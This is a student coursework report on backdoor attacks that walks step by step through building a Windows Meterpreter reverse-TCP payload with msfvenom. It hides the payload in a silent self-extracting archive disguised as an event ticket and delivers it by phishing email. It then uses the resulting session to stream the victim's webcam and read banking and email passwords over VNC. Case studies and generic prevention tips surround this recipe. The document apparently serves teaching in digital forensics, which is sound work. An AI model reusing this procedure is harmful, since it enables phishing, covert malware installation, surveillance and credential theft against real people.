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Abstract

The primary goal of this report is to undertake a cyber-attack known as TCP
backdoor attack on a windows OS and then offer a research-based analysis including a
detailed analysis of the history and evolution of backdoor attacks, two different case
studies on the same kind of incidence, also a demonstration of how a backdoor attack
can be conducted using various methods such as email spoofing, phishing, social
engineering, and steganography. In addition, the report covers ways to detect and prevent

backdoor attacks, as well as recommendations for maintaining the security of systems.

The attack was carried out utilizing the Kali operating system, which is a vulnerable
operating system. This attack was conducted in compliance with ethical principles. The
precautions or mitigation methods outlined in the following sections of the documentation
have been tested and implemented on the system. Overall, this report includes an
introduction section on cyber attacks, and backdoor attacks, a background section on the
topic including case studies, a demonstration section that includes the steps of the attack,
a detection section that includes the topic's detection measures, a prevention section that

includes the topic’s preventive measures, and finally the report's conclusion.
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CC6010NI Digital Investigation and E-Discovery

1. Introduction
1.1 Subject Matter

Cyber security refers to a collection of technologies, methods, and practices used
to prevent any type of attack, harm, or unauthorized access to networks, computers,
programs, and data. In today's world, there are numerous types of cyber-attacks,
including phishing, malware, ransomware, application attacks, and many others. Many
successful attacks on Microsoft operating systems have occurred over the years, but few
have been successful on Linux machines due to the operating system's design. Because
of this complexity, "Computer Forensics" has emerged, which entails determining how a
system or network was hacked, when the event occurred, and analyzing the affected

systems.

Client-side attacks, in which people are lured into providing sensitive information
via malicious emails, are a particularly prevalent type of crime. However, because they
require a high level of skill, expertise, and familiarity with their complex file system
structure to successfully attack, Linux operating systems, which are open source, secure,
and versatile, are not frequently targeted. Kali Linux, a distribution of Linux that includes
various cybersecurity tools, was used in this work to launch backdoor attacks and to

perform computer forensics on the compromised target.

(Introduction to the Backdoor Attacks: Click Here)

(Introduction to the Metasploit Framework: Click Here)
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1.2 Aims and Objectives

1.2.1 Aims

The main aim of this coursework is to provide a relevant and in-depth
understanding of the backdoor attacks in Windows PC by using the Metasploit framework

in the cybersecurity domain including its evolution, detection, and prevention measures.

1.2.2 Objectives

To fulfill this aim the following objectives are required:

- To conduct research on the topic of backdoor attacks in Windows OS.

- To understand the evolution and growth of the backdoor attack in cybercrime
domain.

- To gain fundamental knowledge about the topic by using a variety of related news,
journals, papers, and websites.

- To study the common vulnerabilities in the Metasploit system, which represents
any other vulnerable system.

- To perform a reverse TCP backdoor attack using the Metasploit framework.

- To create a payload using Metasploit and performing vncviewer backdoor on
windows PC.

- To compress both pdf and payload then hide the payload and attack through
windows backdoor.

- To steal user confidential data using a backdoor attack.

- To provide an overall analysis of the beginning of the attack, stating vulnerabilities,
implementing mitigation to the backdoor attack, and finally presenting an

evaluation to secure the system.

Sarthak Bikram Rana
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2. Background
2.1 Brief History

The use of backdoors has a long history, dating back to the early days of computer
systems. In the 1980s and 1990s, for example, hackers often used backdoors to gain
access to systems and install malicious software. In more recent years, backdoors have
been used by governments and cyber criminals alike to spy on individuals and

organizations, steal sensitive data, and disrupt operations. (TheWindowsClub, 2020)

H D Moore, a network security expert, founded the Metasploit project in the
summer of 2003 with the goal of providing a public resource for exploit code research and
development. The code was originally written in PERL, but by the end of 2007, it had
been completely rewritten in RUBY. Rapid7, a company that provides vulnerability

management solutions, has owned the project since 2009. (Timalsina & Gurung, 2017)

(Evolution of the Backdoor Attack: Click Here)
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2.2 Literature Review

2.2.1 Case Study

The two case studies explain and illustrate cyber-attack incidents involving the
Metasploit framework by creating a payload and adding a backdoor to a Windows PC in

order to steal data.

(Case Study: Click Here)
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2.3 Attack Techniques

This report shows a victim's system being compromised by a backdoor attack
using the Metasploit framework to create a Windows payload. To make the payload more
convincing to the victim, it is compressed with a pdf file and a phishing email is sent to
the victim. The victim's system is finally compromised after he or she downloads and
opens that file. Following that, the victim's system is monitored, and details about the
victim, as well as various confidential information about the victim, are stolen. A few

possibilities for this type of attack are also shown.

2.3.1 Creating Payload with the Metasploit Framework

In this scenario, the Metasploit framework is utilized to conduct a backdoor attack
on the victim's system. This is achieved by generating a payload that offers a range of
actions that can be performed, such as accessing the victim's web camera, monitoring
the victim's screen in real-time, and transferring files between the victim's system and the
attacker's system. First of all the ‘msfconsole’ command is used to open the Metasploit

framework.

File Actions Edit View Help

Letter.exe

Figure 1: Opening the Metasploit framework.

Click here to view more
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2.4 Data Hiding Techniques

Data hiding techniques are used to deceive the victim and gain unauthorized
access to their system. So, in the case of this report, data should be hidden from the
victim by an attacker because the victim may not be convinced to keep such a file on their
personal devices if they see it. Using an image-hiding technique, the true identity of the
attacking payload is concealed from the victim in this report in order to keep them unaware

of the attack for as long as possible.

2.4.1 Payload Hiding

The attack demonstrated the data was hidden by compressing the payload and

the pdf file using a convincing icon which was hidden with the SFX archive.

m Archive name and parameters ? >

General Advanced Options Files Backup Time  Comment

Archive name Browse...
| w
Default Profile Update mode
Profiles... Add and replace files w
Archive format Archiving options
(JrRaR  (RAR4 ©zIP [ | Delete files after archiving
B Create 5FX archive

Compression method Create solid archive

Marmal ki Add recovery record
Dictionary size |__| Test archived files

37 KB - Lock archive

ME Set password...

Figure 2: Payload hiding technique.

Click here to view more

Sarthak Bikram Rana



CC6010NI Digital Investigation and E-Discovery

2.5 Victim Getting File

A phishing email is sent to the victim from an unknown fake account addressing
that they have won a free ticket to an event "'The Dawn Show' of the popular artist 'The
Weekend'. The email contains a link to a pdf file containing the payload file, convincing

them to download the ticket to their system in order to scan it at the event's entry.

1 Invitation for “The Dawn Show' X # Downioad - MEC

Heroof Hearts Cha.. [l Codes [l Anime @ HoyoVerse Networking Essenti. Smart Parking loTt.. P CNR Parking Datas.. {8 FootyBite - Live Foo Rectus Femoris Stra.. €3 3. Machine Learnin.

= M Gmail Q  searchma B o ® @
&/ Compose 3 @ 0 =u 8 = A ()
Invitation for “The Dawn Show" x e B
& Inbox 72
-4 @) Roll Dope % @
> Ti B and d 1 d 1 =
D ft
+
Labels ply F
i ¥
® Snoozed
>
Figure 3: Screenshot of the email that the victim received.
Click here to view more
7
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2.6 Exploit

2.6.1 Accessed
The user went through the link and downloaded and opened the pdf file as the

motive to scan the ticket in the entry of the event. The pdf file was opened along with the

payload which was now able to gain remote access to the victim’s system.

%=

File Edit View Window Help

Coem | &0 2 & 1ea | [oen]~ *’ s Tools | Fill &Sign = Comment

[RREESTORR <> <355 ordes from document (recommended)

T(18)Eingang X 0001 0001
zmlo X
XIXc

Figure 4: Victim opening the pdf file containing the payload.

Click here to view more
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2.6.2 Stealing Data

Through continuous monitoring of the system, the attacker was able to gain various

information about the victim including various confidential information.

A O 642 | & C

TightVNC: desktop-9age7fp
\

account details - Notepad
File Edit Format View Help
Bank Account Details:
Account No: 1233760941009
Password: $SS-S!2Rg%2pus9

phone password: 3226pu

gmail: goleyprabesh@gmail.com
password: dukhiaatma'

Ln 9, Col 21 100% Windows (CRLF) UTF-8

To direct input to this VM, move the mouse pointer inside

Figure 5: Stealing data through continuous monitoring.

Click here to view more
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2.7 Detection Techniques

Most cyberattacks exhibit some kind of unusual behavior, even if it is subtle. To
detect that a user is a victim of such an attack, various detection techniques can be used.
One of them is enabling the two-factor authentication in our Gmail account through which

we can get notified if any other one tries to log in to our account.

1:55 Zrall 95% |

¢ Google Account

New sign-in on Apple iPhone

% goleyprabesh@gmail.com

Your account is at risk if this wasn't you

Apple iPhone

Nepal

Do you recognise this activity?
v Yes, it was me

X No, secure account

Figure 6: Screenshot of the unauthorized login.

Click here to view more
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2.8 Prevention Techniques

There are prevention techniques that can be used to raise awareness or detect
individuals who are vulnerable to such backdoor attacks. Backdoor attacks can be

prevented by following these best practices:

- Keep all software and operating systems up to date with the latest patches and
security updates.

- Use strong, unique passwords for all accounts, and enable two-factor
authentication when available.

- Use a firewall to block all unnecessary incoming and outgoing connections.

- Use antivirus software to detect and remove malware.

- Use a reputable and secure web browser, and avoid clicking on links or
downloading attachments from unknown sources.

- Use encryption to protect sensitive data, both in transit and at rest.

- Limit access to systems and data to only those who need it, and monitor access
for unusual activity.

- Regularly scan your systems for vulnerabilities and weaknesses, and take steps
to address any issues that are identified.

- Have a plan in place for responding to and recovering from a security breach. This
should include backup and disaster recovery procedures to ensure that you can

quickly restore any lost data.

Click here to view more

11
Sarthak Bikram Rana



CC6010NI Digital Investigation and E-Discovery

3. Recommendation

This incident highlights the importance of being mindful of internet security. The
victim's personal information, including bank and email details, login information for social
media accounts, and mobile banking and credit card information, was stolen through a
backdoor attack on their Windows PC. The victim faced serious consequences as a result
of this attack, which could have been prevented if they had been aware of the risks and
taken appropriate security measures, such as not disabling their firewall and windows
defender, and not using cracked or patched software. The attack was triggered by the
victim clicking on a link in a phishing email, which led to the installation of malicious
software on their computer. It is crucial for individuals to be aware of these types of threats

and to take steps to protect themselves against them.

To protect yourself from attacks, be careful when encountering flashy deals or free
offers online or via email. Using antivirus software and running it whenever you download
a new file can also reduce the risk of an attack significantly. Learning about common and
modern attack methods is also a good way to prevent attacks. Enabling your firewall and
security features, such as those found in Windows, can also provide an extra layer of
protection. However, understanding the risks and spreading awareness about these
threats to others is the most effective defense. A lack of knowledge about security threats

can make you more vulnerable to attack.

12
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4. Conclusion

To summarize, TCP backdoor attacks pose a significant threat to the security of
Windows operating systems. By establishing a backdoor via a TCP connection, hackers
can gain unauthorized access to a system. Once the attacker has established this
connection, he or she can steal sensitive data, install malware, and carry out additional
attacks. Individuals and organizations must protect themselves from these types of
attacks by implementing strong security measures, regularly updating their systems, and
keeping a close eye out for suspicious activity. By taking these precautions, you can
significantly reduce your chances of becoming a victim of a TCP backdoor attack on a

Windows system.

13
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7. Appendix

7.1 Appendix 1 (Introduction to Backdoor Attack)

Backdoors are methods of gaining unauthorized access to a computer system or
network by bypassing normal security measures. They can be used by hackers to collect
sensitive data, such as passwords, and can be installed on a victim's computer without
their knowledge. While backdoors can be created for legitimate purposes, such as
allowing a system administrator to regain access to a system, they can also be exploited
by malicious actors to steal data and conduct other cyber attacks. It is important for
individuals and organizations to protect themselves against backdoor attacks by
implementing strong security measures and regularly updating their systems to fix
vulnerabilities. (TheWindowsClub, 2020)

A backdoor is a method of bypassing normal authentication or security controls in
order to gain unauthorized access to a computer system or network. Backdoor attacks
have been used for a variety of purposes, including stealing sensitive data, installing
malware, and gaining control of systems for the purpose of conducting further attacks.
(TheWindowsClub, 2020)

The use of backdoors has a long history, dating back to the early days of computer
systems. In the 1980s and 1990s, for example, hackers often used backdoors to gain
access to systems and install malicious software. In more recent years, backdoors have
been used by governments and cyber criminals alike to spy on individuals and

organizations, steal sensitive data, and disrupt operations. (TheWindowsClub, 2020)

There are many different ways in which backdoors can be created and used,
including installing malware that creates a backdoor, exploiting vulnerabilities in software
or hardware, and using password-cracking techniques to gain access to systems. Some
backdoors are also intentionally created and left in place by software or hardware
manufacturers for the purpose of providing support or maintenance, but this practice can

be risky because it can also leave systems vulnerable to attack. (TheWindowsClub, 2020)

16
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Overall, the use of backdoors is a serious security threat, and it is important for
individuals and organizations to take steps to protect themselves against these types of
attacks. This may include installing and regularly updating security software, using strong
and uniqgue passwords, and being vigilant about monitoring for suspicious activity.
(TheWindowsClub, 2020)

Backdoors attack in Cybersecurity
C&C Server
= Once installed, the backdoor
=l | checks which port is allowed
to access C&C Server

0 Q

i Attacker

User Agent 2
User Agent 3 =
o

Firewall Local DNS Server

Figure 7: Process of Backdoor Attack (geeksforgeeks, 2022).
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There are two different types of backdoor attacks
Administrative Backdoor Attack:

Software developers rarely include backdoor pathways in their programs so that if
a failure is recorded in the computer system, the developers will have access to the code
and can assist in resolving the problem. Cyber attackers can use this backdoor pathway
to gain access to the system in an unauthorized manner, resulting in backdoor attacks in

computer network architecture. (geeksforgeeks, 2022)
Malicious Backdoor Attack:

A malicious Backdoor Attack occurs when a program enters the system via
malicious malware. Cyber attackers use RAT (Remote Access Trojan) to install malicious

backdoor programs. (geeksforgeeks, 2022)
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7.2 Appendix 2 (Introduction to Metasploit Framework)

The Metasploit framework is the world's most popular penetration testing
framework, and it is a very effective method that cybercriminals and ethical hackers can
use on networks and servers to test systemic vulnerabilities, manage security

assessments, and improve security awareness. (Buckbee, 2020)
These are the module types that are available in the Metasploit Framework:
e Exploit

An exploit module is used to execute a sequence of commands to a targeted
vulnerability existing in a system or software. It takes advantage of a vulnerability to give
access to a targeted system. Code injection, web application exploits, and buffer overflow

are included under these exploit modules. (Rapid7, 2019)
e Auxiliary

An auxiliary module is used to execute a sequence of commands to a targeted
vulnerability existing in a system or software. It takes advantage of a vulnerability to give
access to a targeted system. Code injection, web application exploits, and buffer overflow

are included under these exploit modules. (Rapid7, 2019)
e Post-Exploitation

A post-exploitation module enables users to collect information or gain additional

access to an exploited targeted system. (Rapid7, 2019)

19
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e Payload

The payload is the shell code that runs after the exploit effectively compromises a
scheme. It helps to decide how the user wants to attach to the shell and what, once you
gain access to it you want to target the system. The payload can open a meterpreter or
command shell. Meterpreter is an advanced payload that allows users to write DLL files

to dynamically create new features as the user needs. (Rapid7, 2019)

e NOP Generator

A NOP Generator creates a sequence of random bytes that you can use to
circumvent the traditional sled signatures of IDS and IPS NOP. It is also used to pad
buffers. (Rapid7, 2019)

The core component of Metasploit is Datastore, which enables the Metasploit framework
to internally pass options between modules. There are two types of datastore which are

listed below:

e Global datastore

It uses “setg” to describe a global data store alternative. The data store alternative

would be able to use for all modules. (Rapid7, 2019)
e Module datastore

It uses “set” to identify a data store option at the module level, and it can only be

used by the module for which you specify the data store option. (Rapid7, 2019)
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7.3 Appendix 3 (Evolution of the Backdoor Attack)

Backdoor attacks have been around since the early days of computing. A backdoor
is a way for an attacker to gain access to a computer system or network without going
through the usual authentication processes. Backdoor attacks can be used to gain
unauthorized access to systems, steal sensitive data, and take control of systems for

malicious purposes. (Erickson, 2016)
Here is a brief history of the evolution of backdoor attacks:
Early computer systems:

Backdoor attacks have been around since the early days of computing. One of the
first known backdoor attacks was the "Morris Worm," which was released in 1988 and
infected thousands of computers. The worm exploited vulnerabilities in the UNIX

operating system to gain access to systems and replicate itself. (Erickson, 2016)
The rise of the internet:

As the internet became more prevalent in the 1990s, backdoor attacks began to
shift from local networks to the internet. Hackers could now use the internet to gain access
to systems from anywhere in the world. One of the most well-known backdoor attacks of
this era was the "Love Bug," a virus that was released in 2000 and spread rapidly through

email attachments. (Erickson, 2016)
The era of malware:

In the 2000s, malware became a popular way for hackers to gain access to
systems and steal sensitive data. Malware is a type of software that is designed to perform
malicious tasks, such as installing backdoors, on a computer system. Some of the most
well-known malware of this era included the Conficker worm and the Stuxnet worm, which

was used to attack industrial control systems. (Erickson, 2016)
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Modern threats:

In the 2010s, hackers began to use more sophisticated methods to gain access to
systems and steal sensitive data. Some of these methods include using "phishing" attacks
to trick users into giving away their login credentials and using "ransomware" to encrypt
a victim's data and demand a ransom for the decryption key. Backdoor attacks are still a
major threat today, and it is important for individuals and organizations to take steps to

protect themselves. (Erickson, 2016)
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7.4 Appendix 4 (Case Study)

7.4.1 New Windows malware also steals data from victims’ mobile phones
Findings:

In this report prepared by Bill Toulas for Bleeping Computer, the writer mentioned
a windows malware which is also a payload named “Dolphin” created by North Korean

hackers which steal files and send them to Google Drive storage.

According to research by cybersecurity company ESET, they stated that the APT
37 threat group, which has been linked to North Korean hackers, has been using a
previously unknown malware called Dolphin for more than a year to steal files and send
them to Google Drive storage. Dolphin has been evolving with improved code and anti-
detection measures and uses a technique called "BLUELIGHT" to launch its Python
loader on a compromised system. The Python loader decrypts and executes the Dolphin
payload in a new memory process. Dolphin is a C++ malware that uses Google Drive as
a command and control server for storing stolen files and establishes persistence by
modifying the Windows Registry. (Toulas , 2022)

{
"OTACEEAS" : "MIIBCQRCAQEASGVDIWNFTtkyZgqWvQDiiSmPbpQWIjDEtlcP/lIUlXWMB+CLW+I4ko24TWsLYzcMYHP
"1EBBE28E™ : "QWAGAFWAVQBzAGUACYBzAFWAQQBKAGORAQBUAFWAQQBWAHAARABhAHQAYQBCAEWALWEJAGEADARCAF
"1DDSAI0A™ :

r
"2F010C2C" : "1//0eMg51ATGu2ycqvTARARGAds Ny [

"4B4F7825" : 1,

"4CZ24DEDB" : "C:\\ProgramData'\\mdmrock.bin",

"24D3D5CE™ : L1,

"SCFS5D328" : ["chrome", "internet explore"],

"e059FB20™ : '

"E80BTFCO™ : "™412364%8",

'69655D98™ : "Tcfefbss™,

'72494382" : "89455662?85_.51“_::-‘_:-5.goog'_eusercontent.com",
'89TASAOC™ : "4eal581lc™,

"8E2DE303™ ["jpg", "doc", "xls", "ppt", "hwp", "url™, "csv", "pdf", "show", "cell", "eml"”,
"5339DgS2" r

"C4499¢00™ @ "lcdbe34e"™,

rcsanssEs™ @ "ofHKRSho| N

"E389324C™ : '

"FTETE484™ : null,

"FSCDS4D0™ @ "B7%edB8fdbZB8ealeS37£383belelcaclt”,

'FADZ10DE™ : "lcd4be34e”

Figure 8: Configuration file of Dolphin (Toulas , 2022).
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It collects information about the infected machine and can connect to a victim's
phone through Google Drive to steal various types of data, such as the user's name and
mobile device, IP addresses, and details about the device's operating system and
memory usage. It can also scan local and removable drives for data such as media files,
documents, emails, and certificates, which it archives and sends to Google Drive. It sends
its current configuration, version number, and time to the command and control server,
and the configuration includes keylogging and file exfiltration instructions, credentials for
accessing the Google Drive API, and encryption keys. The malware can scan local and
removable drives for specific types of data and lower the security of a victim's Google
account, and it can also record keystrokes in Google Chrome and take snapshots of the

active window. (Toulas , 2022)

Analysis:

The above case study is on, a malware named Dolphin which is used as a
backdoor to steal data from the victim's mobile phone through Google Drive where it also
commands and controls a server for storing stolen files and establishes persistence by
modifying the Windows Registry. The above case study talks about the back door which

is created in windows and worked as a remote desktop access.

After analyzing this case study, the attack is chosen to create a window backdoor
with Bluelight to launch its Python loader on a compromised system. A payload was
created and uploaded to the individual's google drive in windows and it will disperse the
configuration containing the keylogging and file extraction instructions, credentials for
Google Drive API access, and encryption keys which then successfully extract valuable

data from individual mobile phone via the help of google drive.
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7.4.2 New Python malware backdoors VMware ESXi servers for remote
access

Findings:
In this report prepared by Bill Toulas for Beeping Computer, the writer mentioned
a backdoor attack on a VMware ESXi server that was discovered by researchers at

Juniper Networks. The attack involved the use of previously undocumented Python

malware that enabled hackers to execute commands remotely on a compromised system.

The malware was discovered on a VMware ESXi server, which is a virtualization
platform commonly used in the enterprise to host multiple servers on a single device while
making better use of CPU and memory resources. Juniper Networks researchers were
unable to determine how the server became compromised, but they believe it was
exploited via the CVE-2019-5544 and CVE-2020-3992 vulnerabilities in ESXi's OpenSLP

service. (Toulas, 2022)

b e ke - — i e B

s

£y
ih
[11]

ybox

Chn I usr LD/ Uik are /o

Figure 9: The screenshot of local.sh file (Toulas, 2022).

The malware itself is a Python script that adds seven lines to the
"letc/rc.local.d/local.sh” file, which is one of the few ESXi files that survive between
reboots and is executed at startup. Normally, this file is empty apart from some advisory
comments and an exit statement, but the malware adds a line that launches a Python
script saved as "/store/packages/vmtools.py" in a directory that stores VM disk images,
logs, and more. The name and location of this script suggest that the malware operators

were specifically targeting VMware ESXi servers. (Toulas, 2022)
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The script launches a web server that accepts password-protected POST requests
from hackers. These requests can carry a base-64 encoded command payload or launch
a reverse shell on the host. The reverse shell enables the compromised server to initiate
a connection with the hacker, which can bypass firewall restrictions or work around limited
network connectivity. One of the actions observed by the Juniper researchers was that
the hackers changed the ESXi reverse HTTP proxy configuration to allow remote access

to the planted web server. (Toulas, 2022)

Analysis:

From the above case study, we can find out that the impact of this backdoor attack
on the affected VMware ESXi server could be significant, as it would allow the hackers to
execute arbitrary commands on the system, potentially leading to the theft of sensitive
data or the disruption of services. The fact that the modification to the reverse HTTP proxy
configuration is persistent also means that the hackers could continue to access the

system even if the malware itself is removed.

After analyzing this case study, It signifies the importance of keeping systems up
to date with the latest security patches, as well as the need for proper log retention to
facilitate the investigation of security incidents. It also highlights the ongoing threat of
malware targeting servers, and the need for organizations to implement robust security

measures to protect against such attacks.
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7.5 Appendix 5 (Creating the Payload)

The Kali Linux is opened in the beginning and the root terminal is opened in order

to create a payload.

Figure 10: Opened the Kali Linux.

To create the payload we need the local host address so the command iconfing is

used to get the local host address.

Figure 11: Using the ifconfig command.
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To create the payload, wuse the command msfvenom —p
windows/meterpreter/reverse tcp --platform windows -a x86 -f exe
LHOST=100.64.247.35 LPORT=4444 -0 /root/Desktop/attack.exe, which creates a
payload named attack.exe. It establishes the foundation for the attacker to monitor the
user's activities in order to steal the victim's information and many other possibilities after

carrying out this attack.

root@kali: /home/sujen

File Actions Edit View Help

Figure 12: Creating the payload (a).

Kali Linuxa,

attack.exe

Figure 13: Creating the payload (b).
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Now, setting the meterpreter payload for the windows using the multi-handler
reverse tcp concept and assigning the LHOST ip address as ‘100.64.247.35’ and the
LPORT as ‘4444’

root@kali: home/sujen

File Actions Edit View Help

Kali Linux a...

attack.exe

Figure 14: Creating and setting the meterpreter payload.
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7.6 Appendix 6 (Data Hiding Techniques)

An image similar to the ticket of the event is downloaded from the internet and

converted into pdf format.

NUSTERYERANSTALTER PRESENTS

Musterveranstaltung

[URDPEAN MUSTER TOUR 2022

Musterbihne Berlin

Am Wusterturm
10 000 Bertin

Mustertag, 01.Mon.22, 20:00 Uhr & 70

Stehplatz Reile  Palz LOGOPLATZ 2

14PT (18) Eingang X 0001 0001 T
Platzinfo XX -
RN B TS

n
Normalpreis Y¥K-6eb m I
BT m
KEIN ERSATZ B YERLUSTI
finlass ca. 4444 Bbr
Tour: Tourveranstalter Name
ORT: Ortlicher Veranstalter UR TILIX L1234 = (UR TXLXX DL1Z34

017807286200168020222900

HEAUNR M0

Figure 15: Screenshot of the ticket.

Now the ticket image is converted into the icon file using a free online tool from the web.

. i@ ConvertlCO.com - Conver

ERe>0 B 9@ .

> YouTube Twitter 1377x| Download t.. T¥ Gogoanime M AniMixPlay - Watch... [Z) Download music m.. @ password strength..

& @ C 0 NVE RTl C O Convert ~ Compress PNG Favicon Generator

JPG to ICO Conversion

& Hamrobazar » Password Strength..

ConvertiCO is a free online JPG to ICO file converter. It is fast, free and easy to use
Itis used to convert Deskiop Icons, App Icons as well as the much needed favicons for
websites. Go ahead and give it a try, you will be pleased

& CHOOSE ICON LAYER SIZES (@ CLICK HERE FOR INSTRUCTIONS

(%]
Drop your .jpg files here, or click to select them manually!
Up to 50 images, max 2MB eact

| AGREE TO PUBLICLY DISPLAY THE ICON IN RECENTLY CONVERTED
SELECT FILE FROM UR

http:// GO

-
Recently Converted
P sess e v

Figure 16: Converting the image into ICO.
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Both the pdf and the payload are selected and now compressed and the icon we
just created would be used as the icon using the SFX archive. First, the files are selected

and now are being compressed.

Figure 17: Selecting the files to compress it.
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Changing the name of the file to make it more realistic.

8 Archive name and parameters ? >

Gereral  Advanced Options Files Backup Time  Comment

Browse...
| v
Default Profile |Ipdate mode
Profiles... Add and replace files w

Archive format Archiving options

(JrRaR  (RAR4 ©zIP [ Delete files after archiving
B Create 5FX archive

Compression methad Create solid archive

Mormal il Add recovery record
Dictionary size [ Test archived files
37 KB - Lock archive
ME Set password...

Figure 18: Changing the name of the file.
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Using the SFX option to hide the file.

B8 Archive name and parameters ? >

General Advanced Options  Files Backup Time  Comment

MTFS options Recovery record
Save file security 3 :

Save file streams

Store symbalic links as links

Store hard links as links

Compression...
Volumes
SFX options...
Pause after each volume
Cld style volume names
0B When done
Keep PC running A
System
[ | Background archiving
[ ]wait if other WinRAR copies are active
K Cancel Help

Figure 19: Using the SFX option.
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In the SFX option, both the ‘The Dawn Show.pdf’ and ‘attack.exe’ files are selected

so that after the victim clicks the compressed file, the payload can be run in his system.

Update Text and icon License Module
General Setup Modes Advanced
Setup program

Fun after extraction

The Dawn Show.pdf
attack.exe

Run before extraction

[ ] wait and return exit code

(04 Cancel Help

Figure 20: Setting up which files to run.
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Selecting the ‘hide all’ option in the modes tab.

Update Text and icon License Module
General Setup Modes Advanced
Temporary mode
[ Unpack to temporary folder
Optional question

Question title

Silent mode

() Display all

_ (T Hide start dislog
Q) Hide &l
QK Cancel Help

Figure 21: Hiding all the files.
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Selecting the ‘Extract and update files’ and ‘Overwrite all files’ options in the update tab.

General Setup Modes

Advanced
Update

Text and icon License Module

Update mode

0 Extract and update files

I._J Fresh existing files only

Cverwrite mode
™ Ask before overwrite
O overwrite all files

T TSKp exsang Ties

QK Cancel Help

Figure 22: Extracting and Overwriting the files which are selected.

Sarthak Bikram Rana

36



CC6010NI Digital Investigation and E-Discovery

Finally, In the Text and icon tab upload the icon we downloaded to look more realistic.

General Setup Modes
Update Text and icon Lices

Title of SFX window

Text to dsplay In SFX window

Load text from file...

Load SPX logo from the fie

High resolution SFX logo

Load S icon from the fle
Ci\Users\uzen\DesktopThe Dawn Show.co

Figure 23: Uploading the icon on the compressed file.

Now the compressed ‘The Dawn Show’ is created which contains both pdf and

payload file.

Details
Compatibvilty

The Dawn Show

Appication (exe)
The Dawn Show

C:\Users\Suzen'\Desktop
690 KB (707,312 bytes)
692 KB (708,608 bytes)

Friday. December 9, 2022, 3:57:31 PM
Friday, December 9, 2022. 3:57:31 PM
Today. December 9, 2022, 1 minute ago

() Readonly ([] Hidden Advanced

Figure 24: Compressed file The Dawn Show is created.

37
Sarthak Bikram Rana



CC6010NI Digital Investigation and E-Discovery

7.7 Appendix 7 (Victim Getting File)

First, a drive was created using the mega platform where the file was uploaded
and the link was then copied to send it through a phishing email.

ERO>O B » @ @ =

t Gmai @ Facebook » YouTube Twitter 1377x| Download t.. T Gogoanime A AniMiPlay - Watch... [Z) Download music, m.. @ passwordstrength.. & Hamrobazar » Password Strength...

M) My files a &

@ createfolder  (F) Upload.. v =

> @ Cloud drive 5 =
© Recents c M As
@ Favourites B Camera Uploads

W Rubbish bin BN My chat files

B The Dawn Show.exe

@B Folders
@ Links

(@) conpleted
Completed

* [ The Dawn Show.exe Completed

Figure 25: File being uploaded in the drive.

The link is generated of the file.

_ a
E®e>0 M » @ @ =

t Gmai @ Facebook » YouTube Twitter 1377x| Download .. T Gogoanime M AniMixPlay - Watch... =) Download music, m.. @ passwordstrength.. & Hamrobazar » Password Strength...

Get link

M Export link decryption key separately ?

B The Dawn Show.exe 691 K8

G https:/mega.nz/file/vyhOCYCZ#uz-cidbAsABNOKF8_NYCP31-NjezojkAgUtgi7GoPt | Copy

Figure 26: Link being copied to send.
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The victim opened the phishing mail which was sent to them.

1 Invitation for “The Dawn Show' X ® Downioad - MEG,

<« C & mailgoogle.com

Heroof Hearts Cha.. [l Codes [l Anime @ HoyoVerse Networking Essenti. Smart Parking loTt.. P CNR Parking Datas.. {8 FootyBite - Live Foo. Rectus Femoris Stra... €3 3. Machine Learnin.

Digital Investigation and E-Discovery

*« & 0%

B Other bookmarks

= M Gmail Q na &=

¢/ Compose € B 0 ® 2 0 & m D

S = Invitation for “The Dawn Show"

nbox

% Starred @) Roll Dope

< , 2 a pass for the daw n t
D aft:

Labels ply il
-»

g

Figure 27: Victim opening the email.

The victim successfully downloaded the file from the link.

™ Download - MEGA

Hero of Hearts Cha. B Codes W Avme # HoyoVerse ssenti Smart Parking loT ¢ P ONR Parki

M MEGA

The Dawn Show.exe

+ Completed

Figure 28: Victim downloading the file.
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B FootyBite - Live Foo. Rectus Femoris Stra. 3 3. Machine Learnin.

*» 0O %

B Other bookmarks
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7.8 Appendix 8 (Exploit)

After the victim downloads the file on the system and opens the seemingly pdf file
which is compressed sees the giveaway ticket also the attacker was waiting for the victim

to click the file of the ticket so that the attacker can breach the victim's system.

%

File Edit View Window Help
Con | &R 2 e & Tools = Fil&Sign = Comment

239 rifer Irom document (recommende)

Figure 29: Victim opening the file.
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After the victim opens the file containing the payload the connection between the
victim's system and the attacker is established displaying the meterpreter session is

opened.

rbose logging with

attack.exe

Figure 30: Getting the response from the victim's computer.

Now by entering the ‘sysinfo’ command viewing the information of the victim's pc.

root@kali: fhome/sujen

File Actions Edit View Help

Kali Linuxa.

attack.exe

Figure 31: Viewing the information of the victim's pc.
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7.9 Appendix 9 (Stealing Data)

Using the ‘webcam_stream’ command to access the webcam of the victim’s system.

File Edit View VM Tabs Help

S eomP ol

1 ﬂ E root@kali: /home/sujen/Desktop

Trash fhhfcuuOLh... File Actions Edit View Help

B

File System mEJrTVHC...

Letter.exe

Figure 32: Using the webcam stream command.
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Successfully accessing the webcam of the victim in order to breach their privacy.

() Home L] My Computer , kali-linux-2022.4-vmware-a... . Windows 10 and |... 4 ‘

BEmP O 23 4|

Metasploit screenshare - 19 X +

C @ D file:///home/kali/zGxgVKTX.html

KaliLinux #& KaliTools @ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB

i

Target IP : 192,168.92.129 |

Start time : 2023-01-62 ©8:13:17 -0500

Status : Playing 1
I

www.metas plg]';.g.nm

Figure 33: Accessing the webcam of the victim.

43
Sarthak Bikram Rana



CC6010NI Digital Investigation and E-Discovery

Running ‘run vnc’ command to gain the information of the victim by monitoring them.

e
File Edit View VM Tabs Help

Library

B I My Computer
Kali-Lin
Kali
root@kali: home/sujen

shar File Actions Edit View Help

#* Quick access

M Desktop
Downloads

B Documents

B Pictures

M NepalOverSeas

W NOS Documents

W Pictures

B System32

OneDrive - Persona per pixel.
nificant byt
aEsmax ped 23: : shift red 16 green 8 blue ©
& This PC

[ D) Objects

Figure 34: Running the VNC command to monitor the system.

Gaining the confidential data of the victim my monitoring them.

&)
File Edit View VM Tobs

Library

[ Bpcheretoseach ]

B ' My Computer
TightVNC: desktop-9age7fp

account details - Notepad
File Edit Format View Help
Bank Account Details:
Account No: 1233760941009
Password: $SS-S!2Rg%2pu89

phone password: 3226pu

gmail: goleyprabesh@gmail.com
password: dukhiaatma'

Ln 9, Col 21 100% Windows (CRLF) UTF-8

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

Figure 35: Attacker gaining confidential data.
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7.10 Appendix 10 (Detection Techniques)

As most cyberattacks exhibit some kind of unusual behavior, even ifitis subtle. To

detect that a user is a victim of such an attack, various detection techniques can be used.

